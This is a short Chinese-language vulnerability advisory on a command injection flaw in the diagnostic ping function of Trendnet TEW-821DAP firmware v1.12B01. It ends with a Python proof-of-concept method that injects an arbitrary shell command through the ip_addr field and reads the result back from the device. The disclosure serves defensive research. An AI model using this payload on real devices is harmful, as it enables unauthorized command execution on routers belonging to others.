# Trendnet TEW-821DAP 固件更新过程中的命令注入漏洞 ## 漏洞概述 在固件更新过程中,`tools_diagnostic()` 函数存在命令注入漏洞。用户首先输入 IP 地址,经过正则表达式验证后通过 AJAX POST 请求传输。IP 地址存储在变量 `s` 中,并作为 `ping` 命令的参数。然而,攻击者可以在 IP 地址中注入恶意命令。 ## 影响范围 - **受影响产品**: TEW-821DAP - **固件版本**: v1.12B01 ## 修复方案 页面中未提供具体的修复方案。 ## POC 代码 ```python def vuln01_ping_cmd(self, cmd): print(f"[*] Vul #1: Ping command injection") print(f"[*] malicious: {cmd}") # actual command: moshup script -c "ping 127.0.0.1" -f /dev/null;{cmd};# -s 56 -c 1" -f /tmp/xxx payload = f"127.0.0.1 -f /dev/null;{cmd};#" params = { "method": "0", "ip_addr": payload, "pkt_size": "56", "cnt": "1", } resp = self._post_apply("tools_diagnostic", params) print(f"[*] HTTP response code: {resp.status_code}") time.sleep(3) try: result_resp = self.session.get(f"{self.base_url}/diagnostic.xml") if result_resp.status_code == 200: print(f"[*] result:") print(result_resp.text) except Exception: pass return resp ```